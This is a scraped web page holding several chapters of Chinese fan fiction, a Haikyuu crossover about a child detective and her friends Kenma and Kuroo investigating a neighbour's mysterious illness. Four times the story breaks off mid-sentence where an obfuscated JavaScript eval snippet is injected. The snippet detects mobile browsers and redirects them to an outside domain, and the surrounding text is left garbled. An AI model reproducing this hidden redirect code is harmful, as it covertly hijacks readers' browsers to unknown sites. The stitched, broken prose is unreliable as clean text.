可灰崎不知道,体育馆的工作人员怕摊上事,早就给灰崎妈妈打了电话,她早就在赶过来的路上了。 所以当灰崎祥吾呼哧呼哧爬到树上,再爬下来的时候,他妈已经抱着胳膊站在了灰崎身后。 “啊,谢谢……噫!!!”灰崎祥吾刚感谢身后人托了他一下,没让他脚滑从树上摔下来,一回头就看见自己亲妈愤怒的脸,和哥哥幸灾乐祸的笑容。 “你还知道我是你妈?” 这句传承了千百年经典名言一出,灰崎祥吾也只能乖乖叫妈。后面就是灰崎妈妈按头道歉,然后把灰崎祥吾带走一顿“母慈子孝”的画面了。 从亲儿子那听到事情经过,灰崎妈妈又带着孩子来给有栖川蔻蒂这个孩子道谢,婚戒虽然价值不高,但意义非凡。 灰崎妈妈将蔻蒂是夸得天花乱坠,可蔻蒂却不开心。 错了,都错了,她的推理出现了一个巨大的错误!广岛亚运会前后根本不是灰崎祥吾的爸爸妈妈定情或者结婚的时间,在他之前有一个大好几岁的亲生哥哥,灰崎夫妇早就结婚了! 是她太想当然了,觉得灰崎祥吾是独生子,没有看出他有兄弟的线索。侦探应该将每一种可能都设想一边,她怎么能犯这么大的错? 有栖川蔻蒂噙着泪看向灰崎妈妈,希望她能说出些自己想不到但又符合推理的事来:“姐姐,你真的是在广岛亚运会之前结婚的吗?为什么要在那段时间买婚戒?” 灰崎妈妈只当小孩子的好奇心,这也没什么不能说的,就把当年灰崎哥哥偷摸着把婚戒拿出去,买了三张亚运会比赛门票的的事说了。婚戒被卖了自然得重新买一对,这次丢失的就是那会买的。也正是那一回,灰崎夫妇挑婚戒时重燃爱火,回忆起年轻时候的点点滴滴,才又生了灰崎祥吾。 说到这里,她刚平复的火气又升起来,这兄弟俩真是一个模子里刻出来的,一个个的都盯着她那对婚戒下手是吧?! 深吸了几口气,灰崎妈妈才没有在其他人的视线下,再上演一场全武行。 “诶,小妹妹,你怎么走了啊?”想请三个小孩去吃反记作为感谢的灰崎妈妈,奇怪地看着小女孩瘪起嘴跑开了。 灰崎祥吾也张了下嘴,没有说话,他还不知道有栖川侦探的名字呢。 “莉亚,莉亚——” 孤爪研磨和黑尾铁朗满头雾水地追在后面,莉亚怎么了,为什么突然这么难过? 直到有栖川蔻蒂一口气跑到公园跑虚脱了,才一头钻进小象滑梯底下躲起来。 研磨和黑尾对视一眼,同样钻进了滑梯下面,头挨着头,腿挨着腿,三个小孩将这小小的空间挤得满满当当。 “错了,错了,错了……”有栖川蔻蒂嘴里一直念着这句话,小手焦虑地抠动,手背上已经出现了一道道红痕。 两人想都没想地就将她的两只手分开,一人抓一只。 黑尾焦急地问:“莉亚,你怎么了?什么错了?” 可蔻蒂像是听不进去话,还在一直念叨着“错了”,黑尾只能自上而下,慢慢抚摸,想让蔻蒂平静下来。 “莉亚,没有人说你错,你是侦探有栖川蔻蒂,把研磨和小黑救出来的名侦探。” 或许是听到了熟悉的名字,或许是听到了侦探这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998943|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 词。 有栖川蔻蒂平和了不少,满脸泪痕地抬头,哼哼了半天才豁出去似的,闭着眼大喊:“研磨,小黑,我推理错了,不是名侦探了。” 呼——研磨叹了口气,像一下子长大了好几岁,他还以为什么事呢,原来是因为这个。 “每个人都会犯错,这不能说明,你犯了错以后就不能当名侦探了。” “是啊是啊,莉亚,就算是世界顶级的自由人也不可能接下每一个球,名侦探也要从无数次失败中爬起!” 想象中小伙伴的嬉笑和抛弃没有到来,有栖川蔻蒂心里像喝了热乎乎的奶茶一样,又暖和又甜。她努努嘴,才不会失败无数次呢。 “……可我不是名侦探,你们还会和我做朋友吗?”蔻蒂的表情难过极了,在她心里,成为名侦探和跟研磨、小黑做朋友是画上等号的。 警局那是什么地方,成年人尚且会因为他人的是非而困囿。自有记忆起就目睹了世人的情爱与仇恨的有栖川蔻蒂自然不懂正常、健康的情感交流。 氛围一时间几乎凝滞到结冰的程度,黑尾和研磨表情诧异,呆楞地看着蔻蒂。 这会,研磨才知道,他刚才想错了。蔻蒂会有这种反应,才不是犯了一个错误这样的小事,她的哭泣也不是矫情和输不起。这是她来说,是天崩地裂的事情。 黑尾铁朗率先打破了寂静:“我生气了。” “小黑?” “莉亚,你不要说,让我说!” 研磨看黑尾这幅斗争的模样,默默向后缩,凑太近的话容易被上头的小黑一起骂。 “我和莉亚交朋友,从来都不是因为你是个超厉害的名侦探,而是因为莉亚你既聪明又善良,最重要的是我很喜欢和你在一起玩!” “如果交朋友只看身份,看能有什么可以利用的,那才不是真心把你当朋友呢,只有坏蛋才会那样做!” “研磨,我说完了,该你了!” 啊?不是一个人代表了就可以吗?他也要来一通这种边吹捧边表真心的嘴炮发言? 孤爪研磨又小大人似的叹了口气,虽然语气没有黑尾那样激动,可他眼神中认真一点也不少。 “你不是说了吗,研磨喜欢莉亚,过几天,你还要陪我一起去上学。” “呜,呜,呜哇哇哇——” 有栖川蔻蒂憋了两下再也憋不住了,哭号着抱住两个小伙伴。 “莉亚要永远和你们做好朋友,最好最好的朋友——” 女孩的哭声在狭窄的空间里反射了无数次,吵得人脑袋嗡嗡的。 黑尾铁朗也是个泪腺发达的,被有栖川蔻蒂一带,也跟着哭起来。 两人抱头痛哭,一个嘴里喊着“莉亚你会成为世界上最厉害的侦探”,一个嘴里喊着“小黑你会成为世界上最厉害的排球手”。 研磨无助地捂住耳朵,还要被两人摇晃胳膊,强行加入这场相互祝福中。 “研磨,你长大想要做什么啊?” 他不想长大,他想静静。 12.血色绣球花杀人事件(一) 教室里,一年级的孩子们不安分地在凳子上扭动屁股。站在最前面的桥口爱老师拍拍手,下面才勉强安静下来。 “同学们,这个星期的作业就是这样,要好好记录下种子生长的过程哦。” “知——道——了——” “有栖川同学,可以帮老师把剩下的种子拿去办公室吗?” “有栖川?我们班有这个?” “是插班生啦,你小声一点。” “她好酷哦。” “酷什么酷,我看她就是一个怪胎。” “你嫉妒插班生强了你的风头吗?” “你个爱哭鬼说什么?” “不,不要吵架。” 叽叽喳喳的议论声没有影响到有栖川蔻蒂,话题的中心人物像是什么都没听见一样。 有栖川蔻蒂应了一声从椅子上站起来,转头对坐在旁边的孤爪研磨说:“那研磨帮我收拾一下书包哦!” 今天是蔻蒂来到音驹小学上学的第四天,课程简单,老师温柔,学校的校服也很可爱。偏西式的西装针织背心衬衫三件套,配上一顶圆圆的帽子,爸爸说她比樱桃小丸子还要可爱。 每天从出门上学就可以见到研磨,一直到放学回家写作业,都可以和两个好朋友待在一起,蔻蒂觉得上学生活真是太美好了,妈妈根本不用担心嘛! “有栖川,这几天的作业你完成的很棒哦,很多老师都跟我说你是个非常聪明的孩子。” 嗯哼,意料之中。学校里的东西都太简单啦,她可是准备成为世界上最厉害的名侦探的小孩,早就在学习更多更复杂的知识。 只是有栖川蔻蒂的班主任桥口爱老师似乎并不是要夸赞她这么简单,老师的表情有些担忧,温和地询问她:“除了学习,你在生活上有什么不适应的地方吗?有的话一定要跟老师讲,老师会尽全力帮助你的。” 她应该有吗? 有栖川蔻蒂仔细思索,桥口老师这句话不像是例行的询问,反而是发现了一些什么问题,特地拿来问她。所以,她到底哪里出问题了?还是一个她的“侦探之力”推理不出的问题。 桥口爱是一个足够年轻足够有热情的老师,她还没有成为对工作麻木,对孩子们睁一只眼闭一只眼的年纪。蔻蒂的思考和沉默,落在她的眼中变成了被戳中的痛苦和挣扎。 责任!信念!激情! 桥口爱感觉到心口燃起了一团火,她想到了自己成为一名老师的初衷。当年在桥口爱念小学时,有一位无比善良的女老师看到了她的困境,用非常智慧婉转的方式,将她从无尽的冷暴力中拯救出来,甚至后面还收获了一些真挚的友谊。 如今看到自己的学生身上也发生了这种事,她桥口爱怎么能袖手旁观!!! “你和孤爪同学的关系看起来很好,不过,有栖川同学还有交到其他什么朋友吗?” 哦,原来是这件事。桥口老师和珠英女士一样,总希望她多交几个朋友,似乎这样做就能让她显得不那么的,异类。 可天才不异于常人,又怎么叫天才呢? “我有研磨和小黑就够了啊。”蔻蒂用相同的话回答了桥口老师和珠英女士,而且并不觉得这样有什么不对。 桥口老师蹙起眉头:“可是……” 两位女士的反应一样,好像在怜悯她,侦探不需要怜悯,蔻蒂讨厌这种感觉。 “桥口老师小学的时候有很多朋友吗?” “当然啦。” “那现在还在联系的有几个?” 致命一击! “……没,没有了。”桥口爱悲伤地捂住心口,她感觉到一只无形的箭插在心脏上。 痛,太痛了,她被这孩子痛击了。成年人的体面不堪一击,装出来的成熟懂事都被小孩子天真的话语给戳穿。呜呜呜,虽然大多数人都会与童年玩伴渐行渐远,但这种物是人非的感觉无论多少次都不能做到坦然面对啊! 桥口爱算是明白了,她根本不用担心有栖川蔻蒂跟她小时候一样被其他孩子孤立,因为根本就是有栖川自己孤立了所有人。 无法继续用自身案例教育学生的桥口爱只能放人离开,有栖川蔻蒂离开办公室后,她灵魂出窍地瘫倒在椅子上,不知道后面该怎样做,是继续放任有栖川同学这样做,还是请她的父母过来谈一谈? 哎,难搞啊,这就是天才的世界吗? “说服”了班主任的蔻蒂蹦蹦跳跳地走到校门口,研磨拿上她的书包和小黑在这等着她一起回家。 对于四年级以前的小学生,学校不安排社团活动,所以三个孩子就算要去打排球,也是商量着去体育馆或者河堤边找个地方玩,不会继续在学校逗留。 不过今天蔻蒂和研磨手上都拿了一袋种子,他们俩得先回家把“作业”种进花盆里。 黑尾凑过来辨别着塑料袋上的字:“研磨的是豆芽,莉亚的是韭菜,我去年拿到的种子好像是青菜。” 学校发放的都是一些容易种植的短期菜种,旨在让孩子们记录下种子生长的过程,珍惜食物,感受生命的能量。自然不会难为孩子和家长,故意增加难度。 “小黑会种菜吗?”研磨期待地询问,好像黑尾说一句会,他就能把这个麻烦的任务甩出去了。 “当然不会。”黑尾坦然地告诉两人,“因为浇水太多,刚发芽一个星期就死掉了。” 有栖川蔻蒂:“别看我,我家连花盆都没有。” 她家那个三天两头没人在家的情况,种啥不死啊。 “去我家拿吧,妈妈种死了几十种花,我家有很多花盆。”孤爪研磨毫不犹豫揭了亲妈的短。 别说花盆了,营养土,各种看不懂有什么功能的肥料,铲子、耙子、手套,差生文具多,种花需要的工具孤爪家的花园里都有。这事周边邻居谁不知道,只不过他妈一向信奉只要换得快,旧花死的速度就赶不上新花到家的速度。 黑尾想起什么,忽然提议:“那我们去问问清枝姐姐吧!” “清枝姐姐是谁?” “莉亚你来得晚还没有和清枝姐姐一起玩过,记得你家对面右边两户,那家院子最漂亮的柏田家吗?那都是清枝姐姐照料的哦。” 这么说她就有印象了,那户院子里的花草很茂盛,各式各样,叫人一眼望去都数不过来。走近些,还能嗅到那层层叠叠到花团溢散的清香。 花的主人一定非常热爱生活,否则怎会出现这样一个像是莫奈画中的花园。 据黑尾铁朗说,柏田清枝是这条街上最受欢迎的女士,再难搞的熊孩子到她手下都会乖乖听话。美丽温柔,善良大方,任何褒义词都可以用在她身上,简直是天使下凡。 孤爪研磨难得赞同小黑的话,他说清枝姐姐是难得既聪明又正经的大人,不会和其他讨厌的大人一样调侃他不爱说话,也不会没有边界地拉着他聊天。 这样的描述让有栖川蔻蒂很好奇:“她和我妈妈一样忙吗?我怎么从来没有看见过她。” 黑尾铁朗解释道:“不是啦,清枝姐姐是花卉插画师,平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015671|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时都在家画画。每天太阳落山的时候都会在花园里打理花草,只不过在你来之前就生病了。” 在她来之前就生病了?算算那也有一个月的时间了,生什么病这么久还没康复,是不能吹风的慢性病吗? 风湿?脑中风? 有栖川蔻蒂回想着最近新学到的知识,自从上次推理出现失误以后,她就意识到自己离真正的名侦探还有很远的距离。为了完善推理就在春生法医的指导下,开始啃各种医学类书籍。不局限于爸爸书架上那些法医学的书,因为书架上的书她都看过、听过一遍了,谁叫蔻蒂有一个不靠谱的爸爸,会把解剖书当睡前绘本拿给孩子看。 虽然掌握的知识还不完善、精准,但蔻蒂仍能从同伴的描述中感到这位清枝姐姐的奇怪之处。她默默记下,准备晚上问一下春生法医。 听到孩子们要去拜访柏田清枝,孤爪太太准备了些慰问品让三个孩子带上,可没一会他们就拎着东西回来了。 “怎么了,没有见到清枝吗?” “我们没有进去,清枝姐姐说要睡觉。” 孤爪妈妈捧着脸,担忧地碎碎念道:“真不知道这是得了什么病,上次见她只说有些腹泻,怎么就严重到出不了门了。我这绣球花粉的粉绿的绿,还想让她帮我养回蓝色呢。” 这是知识盲区,有栖川眼睛发亮地问:“花还会变色吗?” 听到蔻蒂开口,研磨就自觉地后退一步,戴上卫衣的帽子挡住自己。千万不能给他妈抓住了,不然就被听上几个小时对她爱花的赞美。 孤爪妈妈把扫兴的儿子拱到一边去:“是呀,来来来,阿姨带你去看看新买的无尽夏,可好看了,等会搬几盆回家。” “阿姨,我养不活的。” “这有什么要紧的,咱们又不是为了繁育了去卖的,能因为欣赏它的美丽而心生喜悦,也算是物尽其用了。” 有栖川蔻蒂小手拍得啪啪响:“哇——阿姨你说话就像寺庙的和尚一样,有,唔……有禅意!” 孤爪妈妈被逗得乐不可支,蔻蒂偷偷回头对研磨眨了眨眼,比了个OK的手势,收获到研磨感激的微笑。 黑尾铁朗目睹了两人的“勾当”,无语地说:“研磨,你现在连你妈都要莉亚帮你应付了吗?” 两人刚认识那会是差不多内向,放在一块玩八竿子打不出一个屁,可喜欢上排球以后,黑尾是越来越开朗,研磨却越来越沉默了。以前只是不爱和外人说话,现在连亲妈都有些“畏惧”。 研磨很想争辩一下,他妈有多热情多难缠你又不是不知道,植物人都能给说地坐起来了。 可他知道黑尾只会义正言辞地维护孤爪妈妈,阿姨很好啊,我很喜欢! 有一种人,身边的人靠谱,他就会缩起来当一个米虫,而身边的人一旦不靠谱,又会自动觉醒“老妈子基因”。黑尾铁朗就是这样的人,很难说他的开朗不是这两个不靠谱的小伙伴逼的。 黑尾成熟地叹了口气,怜爱地说:“你这样下去,过年怎么办?” “……” 研磨脸色白了白,虽然还有三个月,但内心强烈的退缩之意,已经让他为要去见亲戚的未来而感到痛苦了。浑身上下像是爬了虫子一样,哪哪都不自在,甚至想着要不然过年前生个不大不小的病吧,感冒发烧什么的,就不用去见人了,对吧? 人在逼急了总会蹦出一些馊主意,研磨思考着:“如果莉亚能在我家过新年呢?” 黑尾铁朗:……听听你说的这都是什么话??? 13.血色绣球花杀人事件(二) 远看是一团一团的粉色挤在一起,凑近了将它们拨开摘下,却只能得到一朵四瓣的小花。 这样的一部分也很漂亮,有栖川蔻蒂将它摊平,夹在了笔记本的封面夹层,封面是透明的,像是做出了标本一样。 蔻蒂喜欢绣球花,孤爪妈妈说的什么花青素啊,酸碱度的,她现在只是迷迷糊糊听着记着,不懂其中变化的原理,但这不影响她喜欢绣球花的多变。 “虽然因为多火山,土壤整体呈酸性,可是平时都用自来水浇灌,自来水呈弱碱性,中和了土壤中的酸性。加上入秋,我这几盆花一个不剩全变红了。” “阿姨,你都知道了变色的方法,为什么不自己动手?” 孤爪妈妈幽怨地看了一眼蔻蒂:“是我不想吗?看到那边那块空缺没,都是我移植出来做试验的结果,我的宝贝花在变红和变蓝中间选择了去死。” 为了形成一道壮丽的绣球墙,孤爪家的院子里修了新栅栏让绣球花攀枝,可现在有几块地方极其稀疏,想忽视都难。 蔻蒂委婉地劝道:“阿姨,你很喜欢蓝色吗?我觉得粉色也很好看。” “唔……也没有吧,主要是粉色的花语寓意好一点,蓝色的很多时候代表了见异思迁。” 图吉利,一个非常朴实且常见的理由,就算是珠英女士这样天天和逻辑、科学打交道的刑警,也不免会在出任务时带上祖传的好运御守,给自己带来些运气。 “对了,你爸爸刚才在打电话说今天要加班,等会在我家吃饭,想吃什么阿姨去买。” 至于为什么不是妈妈打电话,珠英刑警忙到恐怕已经忘了还生过一个女儿了。 三家人处得好,黑尾的妈妈离婚了不常来,所以蔻蒂一般都寄养在孤爪家。一顿两顿还好,可不回家的次数太多了,也不好一直占便宜,珠英女士就让蔻蒂放学自己坐车去警视厅待着。 后来还是孤爪妈妈看不下去,拍板决定让有栖川两口子给伙食费,她来照顾有栖川蔻蒂。 珠英女士和孤爪妈妈脾气相近,都不是扭扭捏捏的人,当下打了半年的伙食费过去。但孤爪妈妈算了下,用作一年的都够了。她又不是来赚钱的,只能使劲给蔻蒂做好的,时不时添置一些小东西,又被珠英女士加倍还给研磨和黑尾。 三家有来有往,没多久就相处的像几十年的邻居一样。 “苹果派!” “研磨才喜欢吃苹果派,你呀,不许替他想着。最近甜食吃多了,我怕他蛀牙。” “可是我也喜欢吃苹果派嘛~”蔻蒂摇晃着孤爪妈妈的手臂撒娇道。 她喜欢吃甜食,而吃甜食是多数侦探的一个共性,高强度的脑力思考让他们快速消耗能量,甜食有助于快速补充,集中注意力。至于对甜食的喜好,倒没有什么,研磨喜欢苹果派的话,那就选苹果派好了。 “好吧好吧,哎,真不知道那个杀人犯什么时候能抓住,什么仇恨居然要把人的头砍下来,怪吓人的。” 孤爪妈妈说的仍旧是珠英女士之前处理的那个无头尸案,案件久久没有被侦破,消息不可避免地泄露了一些。因为一家人都算是一个圈子里的,有栖川蔻蒂也从妈妈那听到过一些案件详情。 据分析,嫌疑人性格极其谨慎,尸体上能够表明身份的信息都被抹去,双手双脚的指纹都被灼烧破坏。牙齿没有修补过,身体的各个关节也没有骨折过的经历,寻找尸源的难度成倍增加。 当然,能进搜查一课的自然都是能人,尸体是被冲上海滩的,他们通过洋流已经计算出了抛尸点,在那附近打探到了一些线索,现在正在逐步排查抛尸嫌疑人。 “嫌疑人有车,通过现场留下的半个鞋印能推断出几点,中产阶级,学历高,工作应该相当体面,长相帅气,平时应该非常受领导同事的喜欢。”这是搜查一课目前的嫌疑人画像。 其他有栖川蔻蒂都大概能推测出,只是有一点不不明白:“从哪里能看出嫌疑人工作很好?因为通过鞋印查出的品牌价格不便宜?可那不是只能证明嫌疑人有钱吗?” “因为抛尸时间与死亡事件不一致,中间相隔了三天。”这是春生医生的补充,“除非是想要刻意拿尸体来做什么花样的变态杀人狂,否则嫌疑人不会将尸体长时间放置在身边。” 这起案子的凶手应当不是变态杀人狂,尸体上没有凌虐的痕迹,也没有第二具无头尸出现,加上草率的抛尸方式,更像是一次临时起意的激情杀人。 “我知道了!因为嫌疑人没有空抛尸。”蔻蒂看了眼挂在墙上的日历,立刻明白了搜查一课这样推断的理由。 抛尸时间在周末,顶着人多被发现的风险也要拖到这时候抛尸,表面嫌疑人很忙,忙到刚杀完人时根本没空抛尸。如果钱是从家中继承,长辈给予的话,那么根本不可能造成这个时间差,所以这钱是嫌疑人自己挣的,挣得还相当不容易。一连加了三天班,才腾出空来收拾自己的事。 想到这里,蔻蒂模糊地感觉柏田清枝生病的事件似乎和无头尸出现的事件差不多,难道…… 有栖川蔻蒂询问了孤爪妈妈,可她也记不得具体柏田清枝传出生病是什么时间。 “应该快好了吧,上周她和我说找了一个专家看诊,我听着她的声音也确实好多了。” 蔻蒂垂下眼,看来是她想多了。 虽然时间对不上,但心里总有一股感觉让她关注柏田清枝这个人,或许就是所谓侦探的直觉? 出乎意料,在见到那个传闻中的清枝姐姐之前,有栖川蔻蒂先碰上了柏田清枝的丈夫,柏田良一。 只有人大腿高的有栖川蔻蒂虽然个子小,但因为经常和小伙伴一起去打排球,力气可一点都不小。闷头往前跑跟颗炮弹似的把人撞倒,自己也摔了个屁股蹲。 “叔叔,对不起。”蔻蒂立刻道歉,这次是她的错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025311|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想要快点把书包放回家然后出去打排球,才没有看路。 被撞的男人不光脾气好,长得也让人觉得舒心,一副春风拂面的感觉。他拍拍掌心站起来:“没关系。” 道完歉,蔻蒂就蹲在地上收拾被撞翻了的书包,各色的熟悉洒落一地,文具盒里的铅笔也咕噜噜滚出老远。有栖川蔻蒂撅起屁股去把铅笔追回来后,就看见男人捏着自己的一本书发呆。 “谢谢叔叔。”蔻蒂伸手去拿自己的书,拽了拽,没拽动? 这本本子有什么问题吗?里面一个字都没写,只是封面的夹层里有一朵干枯褪色的绣球花的花萼。 “这是绣球花。” 有栖川蔻蒂“贴心”地提醒了一句,这个男人显然知道这是什么,这可真是有些奇怪了,一般人知道绣球花,也只知道它是一大团一大团的形态,基本不会知道其中的一部分长什么样,而这个男人竟然可以一下子认出来,他对绣球花的熟悉度可不是一点。 可看他的穿着打扮,既不是开花店的,也不是花农,更不是什么做研究的学者,难道纯属兴趣?可人的兴趣多多少少会在周身的细节体现,比如这种身穿西装的男性,很多都会在袖口和领夹上下功夫,蔻蒂完全没有看到任何能表现这一点的。 只是领夹很新,领带很旧这一点有些奇怪。 “是啊,绣球花,它真美不是吗?我妻子很喜欢这种花。”男人的表情很古怪,他是笑着的,可他的眼睛周围的肌肉完全没有活动。 一个拙劣的假笑,蔻蒂给出判断。 她的好奇心让她倒也没那么着急走了,慢悠悠地捡东西,想着要怎么再跟男人多套出一些秘密来。可男人脚步匆匆,有栖川蔻蒂看着他“逃离”的方向吗,竟然又是那个充满秘密的柏田家。 柏田先生,柏田清枝,绣球花,这中间一定有什么联系。 “莉亚!”黑尾站在五十米开外跳起来招手大喊。 蔻蒂也高高跳起挥手回应:“我回家换个衣服就来!” 重新穿上一身运动装的蔻蒂从柏田家门口跑过,柏田家的外门是栏杆形式的,能够清楚地从外看到里面。 满院子或纤细、或雍容的花姹紫嫣红地开着,眼睛一扫就掠过去十几种,可一点也不显得杂乱,反而错落有致,能将每种花都显现出来。不过似乎是因为照顾花园的柏田清枝病了一个月,花园虽然繁茂,但乱枝生长没有得到修剪,显得有些许杂乱。 蔻蒂读了许多书,对文学领域还没有涉足,只能说出“好美一个花园”的赞叹。 驻足片刻,蔻蒂找出了花园中让自己觉得违和的部分。柏田家的绣球花还没有孤爪阿姨养得多,紧巴巴地缩在一角,是孤爪阿姨想要的蓝色,不过蓝得也不纯粹,更偏向于紫色一些。 柏田先生不是说他的夫人清枝很喜欢绣球花吗? 要么他说了谎,要么他根本不了解自己的妻子。 14.血色绣球花杀人事件(三) 托球,扣球,拦网。 扣球,拦网,托球。 拦网,托球,扣球。 …… 蔻蒂、研磨、黑尾三人每十次轮换位置,交替练习。三组轮完,研磨的头发全都汗湿,两边的碎发用有栖川蔻蒂赞助的一根小皮筋扎起来,变成了“苹果梗”,露出光洁的大脑门。他拒绝继续轮换,在不久前研磨已经决心要把自己扎根在二传这个既能体现他的聪明才智又最省力的位置上,所以他现在拒绝继续练习扣球和拦网,每一次都要用力跳起,他实在是跳不动了。 这两人是弹簧成精吗?研磨咬牙切齿,真想把他俩电池扣了。 于是后半段,就变成了研磨站桩托球,蔻蒂和黑尾轮换。 小孩子心性不定,就算是做喜欢的事,也会感到疲倦。打了一会就抛开了训练的心思开始玩起来了。 “看我的‘百万吨发球’!”蔻蒂一个粗糙的跳发,将球打了过去,这招她才刚学,声音和气势比发球的威力要大多了。 黑尾也极其配合,夸张的大喊道:“好厉害的攻击,不过我是不会认输的,舍身冲撞!” “呜哇,这一球太快了,没办法只能用那一招了。”蔻蒂一个鱼跃,明明是自己接到的,却喊了一句,“超级吸取——” “深渊翻滚!” “高速移动!” “黑夜魔影!” 研磨默默后退,将舞台交给两个戏瘾大发的小伙伴。他就不该带着莉亚和小黑玩宝O梦,这两人宝O梦名字不记得几个,招式倒是一个一个都熟悉得很。 看了会,研磨觉得有种奇怪的既视感,这像不像一个训练师带着两个手下的宝O梦在进行对战?小黑像耿鬼,发型像,笑起来的时候也像,嘴巴裂开,行程尖尖的嘴角加上一排整齐的牙齿,总是笑得很坏的样子。这样想的话,那莉亚就很像宝O梦里面的喵喵,还是阿罗拉喵喵,智商比很多宝O梦都要高,而且自尊心极强。 “小黑,研磨为什么看我们的眼神这么奇怪?”蔻蒂抱住自己,后背发凉,莫名有种被评判的感觉。 “没事,他老这样。”黑尾已经见怪不怪了,研磨经常就被自己将自己拉入另一个世界里去,产生一些奇怪的幻想。 “哦……小黑,你知道柏田清枝最喜欢什么花吗?” 跑跳了一会,蔻蒂觉得自己的思维好像更清晰了,从乱七八糟的琐碎线索中找出一截线头来。柏田家肯定是有问题的,柏田清枝的病也一定不寻常,而想要寻找破题的关键在于柏田先生与柏田清枝的关系上。 “什么花?唔,清枝姐姐好像种了很多蔷薇?矢车菊也不少……” “应该是桔梗。”听到小伙伴的讨论插入话题,“清枝姐姐说桔梗是她和丈夫第一次相遇时正在画的花,她还给我们看过柏田先生送给她的一枚桔梗胸针。” “我也想起来了!柏田先生也有一个桔梗图案的领带夹,他天天都带着。” 虽然不知道桔梗花长什么样子,但是有栖川蔻蒂相当确定,柏田先生现在的领带夹上只有一颗小小的钻石,其他什么花样都没有。扔掉相当具有纪念意义的定情信物,柏田先生果然和妻子的感情出了状况。 出轨?又或是七年之痒提前,单纯的对婚姻感到厌倦? 不,不是后者。她回想着撞上柏田先生的那次对话,他在说“我妻子很喜欢这种花”时,脸上表情僵硬。现在看来这句话显然是谎言,而用谎言也要维持着自己关爱妻子的人设,那么谁是背叛者就显而易见了。 想到这里,有栖川蔻蒂的好奇心也得到了满足,不再把思绪全都放在柏田家那些奇怪的事上。至于柏田清枝的久病,也许只是一个借口,她一定发现了丈夫出轨,伤心之下借口养病治愈情伤吧。或许是仍旧爱着柏田先生,或许是不愿意遭受丈夫背叛的非议,一个月了,她没有采取什么离婚的举动。 柏田清枝不是一个坚强的女人,蔻蒂虽然年纪不大,但已然见过许多落入爱河,被名为情感的水草捆绑纠缠坠入河底死不瞑目的。珠英女士被调去搜查一课前处理的都是一些家长里短的案子,她坐在一边看着,看着这些女人是怎么在知道爱人出轨以后大闹一场,最后又不了了之,当作什么都没发生,继续过着和以前一样的日子。 “莉亚,柏田先生怎么了吗?”黑尾感觉不好,能让有栖川侦探感兴趣的人都是藏了秘密的。 蔻蒂将自己的推论告诉他们,她不关心柏田清枝,但有人关心。黑尾和研磨立马说着这次一定要去看看清枝姐姐,她一个人在家心里肯定不好受。 有栖川蔻蒂无所谓,不过她觉得如果就这么当面去安慰那个女人的话或许更糟糕。竭力隐藏的事却被几个孩子知晓,那她做人到底有多失败啊。 拿上球,三个孩子径直往柏田家去。比他们先到的是一只猫,那只猫后退了一米,冲刺、弹跳、奔跑,一套连招飞檐走壁,以旁边的围墙为跳点,准确地用前爪按上了门铃。 好厉害。 上次在体育馆没有欣赏到的猫的英姿,今天在这里看到了! 门铃响后并没有人开门,有栖川蔻蒂眯起眼观察了下,这种门铃是与屋内联通,可以对话的。那头并没有立即响应,门铃响了几声后就停下。 身姿矫健的花猫又一次起跳,几乎连落点都没有什么变化,又将门铃按响。这一次,门铃上的话筒发出了几声电流音,一个温柔的女声从里面传出。 “非常抱歉,我是柏田清枝,我肚子好疼,不能去开一下门,有事之后联系吧。” 黑尾铁朗:“清枝姐姐在家,那就是她的声音,我们快去吧。” 有栖川蔻蒂一手一个拉住了两个小伙,小声地对他们说:“不要说话,有问题。” 黑尾有一肚子疑问,但立刻选择相信了好朋友,捂上研磨的嘴向后跑出一截。 孤爪研磨:……说话的是你不是我!“ 蔻蒂聚精会神地观察着眼前的场景,花猫显然对柏田清枝的声音很熟悉。它习惯性地去扒拉门,好一会没有看见人,门也没打开,奇怪地在门口转悠了两圈以后就离开了。 “莉亚?” “走,回家说。” 有栖川蔻蒂将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034294|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 